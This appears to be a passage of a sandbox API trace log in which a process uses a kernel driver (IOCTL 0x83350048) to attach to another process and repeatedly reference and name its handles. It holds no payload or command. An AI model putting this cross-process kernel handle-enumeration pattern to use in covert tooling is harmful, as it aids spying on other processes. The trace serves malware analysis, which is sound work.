KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.219] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0136.219] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.219] PsReleaseProcessExitSynchronization () returned 0x2 [0136.219] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.219] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.219] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0136.219] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.219] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.219] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.219] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.219] PsAcquireProcessExitSynchronization () returned 0x0 [0136.219] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.219] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0136.219] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.219] PsReleaseProcessExitSynchronization () returned 0x2 [0136.219] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.219] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.219] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0136.219] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.219] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.219] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.219] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.219] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.219] PsAcquireProcessExitSynchronization () returned 0x0 [0136.219] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.219] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0136.219] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.220] PsReleaseProcessExitSynchronization () returned 0x2 [0136.220] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.220] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.220] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0136.220] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.220] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.220] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.220] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.220] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.220] PsAcquireProcessExitSynchronization () returned 0x0 [0136.220] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.220] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0136.220] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.220] PsReleaseProcessExitSynchronization () returned 0x2 [0136.220] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.220] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.220] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0136.220] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.220] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.220] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.220] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.220] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.220] PsAcquireProcessExitSynchronization () returned 0x0 [0136.220] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.220] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0136.220] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.220] PsReleaseProcessExitSynchronization () returned 0x2 [0136.220] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.220] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.220] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0136.220] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.220] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.220] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.220] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.221] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.221] PsAcquireProcessExitSynchronization () returned 0x0 [0136.221] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.221] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0136.221] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.221] PsReleaseProcessExitSynchronization () returned 0x2 [0136.221] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.221] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.221] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0136.221] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.221] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.221] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.221] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.221] PsAcquireProcessExitSynchronization () returned 0x0 [0136.221] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.221] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0136.221] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.221] PsReleaseProcessExitSynchronization () returned 0x2 [0136.221] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.221] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.221] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0136.221] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.221] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.221] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.221] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.221] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.221] PsAcquireProcessExitSynchronization () returned 0x0 [0136.221] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.221] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0136.221] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.221] PsReleaseProcessExitSynchronization () returned 0x2 [0136.221] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.221] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.221] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0136.222] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.222] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.222] PsAcquireProcessExitSynchronization () returned 0x0 [0136.222] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.222] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0136.222] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.222] PsReleaseProcessExitSynchronization () returned 0x2 [0136.222] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.222] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.222] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0136.222] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.222] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.222] PsAcquireProcessExitSynchronization () returned 0x0 [0136.222] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.222] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0136.222] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.222] PsReleaseProcessExitSynchronization () returned 0x2 [0136.222] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.222] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.222] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0136.222] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.222] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.222] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.222] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.222] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.222] PsAcquireProcessExitSynchronization () returned 0x0 [0136.222] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.223] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0136.223] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.223] PsReleaseProcessExitSynchronization () returned 0x2 [0136.223] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.223] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.223] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0136.223] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.223] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.223] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.223] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.223] PsAcquireProcessExitSynchronization () returned 0x0 [0136.223] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.223] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0136.223] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.223] PsReleaseProcessExitSynchronization () returned 0x2 [0136.223] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.223] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.223] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0136.223] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.223] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.223] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.223] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.223] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.223] PsAcquireProcessExitSynchronization () returned 0x0 [0136.223] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.223] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0136.223] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.223] PsReleaseProcessExitSynchronization () returned 0x2 [0136.223] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.223] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.223] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0136.223] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.224] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.224] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.224] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.224] PsAcquireProcessExitSynchronization () returned 0x0 [0136.224] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.224] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0136.224] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.224] PsReleaseProcessExitSynchronization () returned 0x2 [0136.224] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.224] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.224] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0136.224] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.224] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.224] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.224] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.224] PsAcquireProcessExitSynchronization () returned 0x0 [0136.224] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.224] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0136.224] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.224] PsReleaseProcessExitSynchronization () returned 0x2 [0136.224] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.224] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.224] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0136.224] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.224] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.224] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.224] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.224] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.224] PsAcquireProcessExitSynchronization () returned 0x0 [0136.224] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.224] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0136.224] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.225] PsReleaseProcessExitSynchronization () returned 0x2 [0136.225] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.225] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa80019fd044, 